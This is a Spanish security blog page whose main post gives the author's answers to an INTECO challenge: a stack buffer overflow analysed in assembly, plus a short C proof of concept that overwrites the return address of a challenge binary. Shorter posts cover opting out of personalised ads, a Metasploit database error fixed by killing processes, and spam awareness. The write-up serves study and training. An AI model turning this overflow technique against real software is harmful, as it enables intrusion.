Redes Sociales

lunes, 28 de octubre de 2013

Respuestas a las pruebas de INTECO (2 de 2)

El pasado mes de Julio comencé a explicar mis respuestas a las pruebas de INTECO del pasado mes de Julio, sin embargo me dejé la segunda parte, que publico ahora:

Análisis de vulnerabilidades

La tercera prueba tenía que ver con un buffer overflow. Mostraban un trozo de código en ensamblador y preguntaban:

Pregunta 1:Explicar detalladamente, indicando direcciones de memoria, que sucede cuando se ingresan demasiados caracteres.[30%]

Respuesta:

El problema que ocurre aquí es que no se esta usando espacio de direccionamiento de datos para almacenar el nombre, se r eservan, en cambio, 28hex, o sea 40 bytes de espacio en la pila.

Como se ve en la instrucción 00401293, se está haciendo un SUB ESP,28, o sea reduciendo el tope de la pila (que crece hacia abajo) para que ahí se almacene el nombre.

Con valores concretos:

Al iniciar la función, el top de la pila tiene la instrucción desde la que ha sido llamada (004012F4). En ese momento ESP es 22FF5C y al hacer el PUSH EBP pasa a ser 0022FF58.

Con estos valores, el programa puede volver a la función que lo referencio al ejecutar el comando final RETN

00401290  /$  55            PUSH EBP
00401291  |.  89E5          MOV EBP,ESP
00401293  |.  83EC 28       SUB ESP,28

Al restarle 28hex ESP tiene el valor 22FF30, LOCAL.10 resuta ser la misma dirección: 22FF30, LOCAL.6 es 22FF40 y LOCAL.9 es 22FF34. Deberiamos poder meter un nombre de 40 caracteres, pero como se esta almacenando en LOCAL.6, en realidad se tienen solo 24 caracteres. Y ni eso porque siempre hay que contar el 0 final con el que acaban las cadenas en C. Asi pues 23 caracteres máximo.

00401296  |.  C70424 003040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; /format => "Introduce tu nombre: "
0040129D  |.  E8 9E050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012A2  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012A5  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012A9  |.  C70424 163040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "%s"
004012B0  |.  E8 7B050000   CALL <JMP.&msvcrt.scanf>                 ; \MSVCRT.scanf
004012B5  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012B8  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012BC  |.  C70424 193040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "Te llamas %s
"
004012C3  |.  E8 78050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012C8  |.  C9            LEAVE
004012C9  \.  C3            RETN



Pregunta 2: ¿Qué sucede cuando el nombre ocupa 28 caracteres?[20%]

Si metemos 28 caracteres, nos cargaremos el valor de EBP y añadiremos un 0 al final de la dirección de retorno (debido al 0 final de las cadenas en C), haciendo que la dirección de retorno sea a la 00401200 en vez de a la 004012F4 como debería ser. De esta manera al ejecución continua en un punto completamente diferente.




Pregunta 3: ¿Es posible usar la vulnerabilidad para ejecutar código en el sistema? Si es posible, muestra el código fuente de un programa que lo explote.[50%]

Dado que es un ejecutable Windows, es posible hacerlo desde la misma línea de comandos. Se crea un fichero de texto con 28 caracteres visibles, por ejemplo “1234567890123456789012345678” y a continuación se modifica en hexadecimal para añadirle la dirección de memoria a la que queremos que salte, por ejemplo 0x00, 0x40, 0x12, 0x96. De esta manera al ejecutar:

C:\>type exploit.txt | vulnerabilities.exe

En vez de volver a la direccion de retorno adecuada, saltará a la que le hemos indicado: 00401296 que hará que vuelva a preguntar el nombre una y otra vez.

Si lo que se desea es un programa, en este ejemplo saltamos la ejecución a 0022FF60, que es la siguiente posición en la pila y luego empezamos a meter código de nuestra elección:

#include 
int main()
{
char mona[] =             "\x34\x33\32\x31\x38\x37\x36\x35\x32\x31\x30\x39\x36\x35\x34\x33\x30\x39\x38\x37\x30\x30\x30\x30\x30\x30\x30\x30\x00\x22\xFF\x60\XC7\x04\x24\x00\x22\xFF\x30\xE8\x9E\x05\x00\x00";

FILE *file; 
file = fopen("exploit.txt","w"); 
fputs(mona,file);
fclose(file); 

 system(“type exploit.txt | vulnerabilities.exe ”);

}

El codigo que he metido despues ha sido una copia de lo encontrado en las líneas 00401296:

MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 
CALL    

…pero vamos ya podíamos meter lo que quisiéramos.




Para la cuarta prueba, daban un fichero "dd" y hacian las siguientes preguntas. Por desgracia para esta prueba no tuve tiempo y tuve que dejarlo en blanco:

Análisis forense

Pregunta 1: Indicar si la máquina está comprometida y en caso afirmativo con qué tipo de código malicioso, aportando las pruebas encontradas del mismo. [15%]

Pregunta 2: ¿Tiene procesos, bibliotecas o módulos ocultos en el sistema?. En caso afirmativo, indicar cuales con todos los detalles de los mismos y los métodos de detección utilizados. [30%]

Pregunta 3: ¿Existe algún tipo de indicio de comunicaciones en el sistema que permitan el control remoto del mismo? En caso afirmativo explicar detalladamente. (direcciones IP, puertos, procesos, ruta de los ficheros implicados, comandos ejecutados, privilegios en el sistema, etc.)[20%]

Pregunta 4: Extraiga los ficheros maliciosos identificados en el sistema e indique los hash (SHA256) de los mismos y la ruta donde están ubicados en el disco duro de la máquina.[20%]

Pregunta 5: Explicar cómo tiene persistencia en el sistema, aportando las evidencias encontradas.[15%]

La publicidad personalizada de Google y Yahoo

Cada vez más frecuentemente nos encontramos con que al entrar en una página nos aparecen anuncios de los productos que hemos estado comprando online recientemente.

Es lo que se llama publicidad personalizada y desde mi punto de vista es un atentado claro contra la intimidad.

A partir de esos anuncios personalizados, otra persona que utilice nuestro ordenador podria hacerse una idea de cuales son nuestros gustos y tendencias.

Un ejemplo es el siguiente:


Un rato antes de visitar esta página he estado mirando tarjetas de visita y precisamente he mirado esas. Que curioso, ¿no?.

Lo cierto es que en los blogs gratuitos la publicidad la publicidad nos viene impuesta, las páginas web muchas veces se financian gracias a este tipo de publicidad.

¿Y como obtienen la información de lo que he estado comprando?

Hay dos métodos principalmente, a partir de las cookies que ha dejado en nuestro ordenador la web donde hemos estado de compras y sobre todo gracias al historial de visitas de las grandes compañias: Google, Yahoo, Msn, etc.

En concreto durante el tiempo que estuve de compras, me quedé conectado tanto a mi cuenta de Yahoo!, como a mi cuenta de Google. Y es de éstos historiales que guardan ambas compañías de donde obtienen la información para realizar la "publicidad personalizada".

Hay forma de eliminar este tipo de publicidad. Si nos fijamos bien, en la parte superior del anuncio aparece un pequeño triangulo azul:


Al "clicar" sobre dicho nos lleva a la página de información de la compañia que nos esta ofreciendo la publicidad. En mi caso fueron tres diferentes:

Yahoo!

Al hacer clic sobre el triangulo superior del anuncio me redirigió a esta página donde explica por qué sale la publicidad y cómo obtienen la información relevante.
A medio anuncio, hay un boton (encubierto) con el texto "administre" que nos permite modificar la configuración de los (como ellos les llaman) "anuncios basados en intereses":
Al pulsar el boton nos lleva a una segunda página donde, ahora si, podemos eliminar la publicidad personalizada (dándole al botón excluir):

Evidon
Curiosamente, tras seguir estos pasos, al recargar la página con el anuncio, me salía un segundo anuncio, muy similar al anterior, que claramente seguía siendo publicidad personalizada.

Volví a repetir los mismos pasos y me encontré con que la página de información a la que era reenviado ya no tenía nada que ver con Yahoo!:


Asi que en este caso era una empresa de publicidad, más pequeña, la que me quería seguir vendiendo tarjetas...

Pues nada, tras leer un poco, vi que da la opción de "opt-out from selected companies". Vamos que no era solo Yahoo!, sino que sin saberlo, parace que yo estaba siendo un filón para determinadas compañías de internet.

Google
Al refrescar el anunció me mosqueó ver otro anuncio claramente personalizado. Mosqueado volví a seguir los pasos antes mencionados y me encontré con que esta vez era la propia Google la que estaba rastreando mi historial.

Esta vez al darle al triangulo verde, nos lleva a esta página:


Donde nos cuentan de nuevo todos los beneficios del servicio de anuncios de Google... Para, de nuevo,  perimtir cambiar la configuración, haciendo click en "Ad Settings". 

Donde, en la parte de abajo se puede, en la sección "inhabilitacion", inhabilitar los anuncios basados en intereses en Google y habilitar los anuncios de Google Basics.

Des pués de esto, al recargar la página siguieron saliendo anuncios, pero esta vez no relacionados, al menos que yo sepa, con mi historial de navegación:


Volví a hacer clic sobre el triangulo azul que me volvió a llevar a una página de Google, pero esta vez, me indicaba claramente que la publicidad personalizada esta deshabilitada.

Esto significa que esta página web tiene contratada su publicidad con Google, entre otros, y ésta intenta siempre mostrar antes de nada anuncios personalizados y si no, muestra anuncios más genéricos.

Otras compañías
Existen mutitud de otras compañias de publicitarias que operan de la misma manera. Estas tres que menciono son solo la punta del iceberg y en todas ellas existirá alguna forma de administrar que aparezcan o no los anuncios personalizados, tal y como se ha hecho con estas tres.

Cabe mencionar que deshabilitar la publicación de anuncios personalizados, no quiere decir que estas compañias esten dejando de "espiarnos". Recabarán toda la información que puedan siempre de nuestros habitos y paginas visitadas y encontrarán, seguro, alguna forma de aprovecharse de ello.

Para intentar evitar al máximo que compañias como Google y Yahoo se dediquen a almacenar lo que vamos haciendo, se pueden seguir algunos consejos:

1.- Utilizar la navegación privada (Ctrl + Shift + N en Google chrome, Ctrl + Shift + P en Firefox y también Ctrl + Shift + P en Internet Explorer)

2.- No mantenerse logado con nuestro usuario de Google, Yahoo, Msn, o el que sea mientras navegamos por internet. Debemos usar estos usuarioss en su momento adecuado y cuando dejemos de hacer uso del correo del google o los grupos de Yahoo, o lo que quiera que estemos usando, deslogarse automáticamente.

Slds

miércoles, 16 de octubre de 2013

Metasploit Database FATAL Error: Remaining connection slots are reserved for non replication superuser connections

Hoy al levantarme y abrir el metasploit me encuentro con que no me abre por un error aparentemente claro:

"Database FATAL Error: Remaining connection slots are reserved for non replication superuser connections"

Me acuerdo de que el día anterior he dejado lanzado un db_autopwn que es lo más parecido al ping de la muerte que se puede lanzar. "Debo haber petao la base de datos", pienso. Hasta que me pongo a buscar la base de datos y coño, no existe. De hecho, prueba a instalar postgresql y la instala, "es decir esta funcionando sin base de datos". Craso error. Esta funcionando con base de datos y con un postgresql, pero es el postgresql que viene por defecto con el metasploit, haciendo un ps me encuentro con esto:

Pues nada, a matar:

for i in `ps -ef | grep idle | grep -v grep | awk '{ print $2 }'`; do kill -9 $i; done

Como vemos acaba de crear un proceso similar, pero todos los anteriores, del lanzamiento del db_autopwn, ya no estan. Intentamos abrir el metasploit ahora, et voila!. Vamos, una chorrada:

martes, 8 de octubre de 2013

Spam de todos los colores

El SPAM sigue siendo uno de los mayores quebraderos de cabeza con los que tanto usuarios, como administradores de sistemas se siguen encontrando.

En ocasiones no es facil saber cuando un correo es SPAM, aunque ciertamente, con algo de ojo y un poquito de experiencia, nadie debería ser engañado por un correo de este tipo, pero ya se sabe de entre un millon de receptores, alguien va a picar. Seguro. Y podriamos ser cualquiera de nosotros.

Y es que el SPAM malicioso (ojo, que hay que distinguir porque existe otro tipo de SPAM que es solamente eso, molesto) va actualmente va dirigido a todo el mundo y para ello se aprovecha de todo tipo de recursos.

Las temáticas que aprovecha son de todo tipo, grandes calamidades, por ejemplo recientemente:

o de dias señalados del año como:

Pero no son solo dias memorables americanos y rusos, tambien podemos encontrar días más "españoles" como:

Estos son un clásico y cada año se crean nuevas campañas de SPAM dirigidas a días tan señalados.

También son objetivo de los spammers aspectos aparentemente menos "celebrables":

Por supuesto, en un entorno informatico como es la base del SPAM, también se aprovechan de las aplicaciones informáticas móviles y servicios de internet que conforman la web 3.0 actual:

Podriamos seguir asi hasta rellenar un libro entero, pero tampoco tiene sentido. Cualquier evento que ocurra, noticia relevante, dia señalado, etc. es una excusa para lanzar una nueva campaña de SPAM. Podríamos pensar cualquier hecho noticiable que haya ocurrido en los ultimos 5 años y buscar en google y muy probablemente encontraríamos que ha sido utilizado como parte de una campaña de SPAM.

Sin embargo a partir de los ejemplos que he señalado antes podría pensarse que el SPAM va dirigido a EEUU, Rusia, China, Irlanda o Reino Unido. Y nada más lejos de la realidad, podemos encontrar, sin demasiado esfuerzo ejemplos de SPAM con objetivo claramente español:

Para evitar caer en ellos tenemos que tener claro que es correo que NO esperamos recibir, en muchas ocasiones escrito en inglés u otro idioma desconocido, con faltas de ortografía o frases sin sentido y que siempre siempre te anima a:

  • hacer click en un enlace
  • abrir un documento adjunto

Lo de que venga en inglés no es un metodo seguro de filtrar el SPAM, hay muchos casos de SPAM malicioso en español que podria engañarnos.

...el objetivo es siempre engañar y los spammers saben muy bien lo que va a llamar la atención de la gente. Y lo aprovechan. Por eso, cuando recibais un correo que no esperamos hay que abrirlo siempre con precaución, uno nunca sabe que podría contener.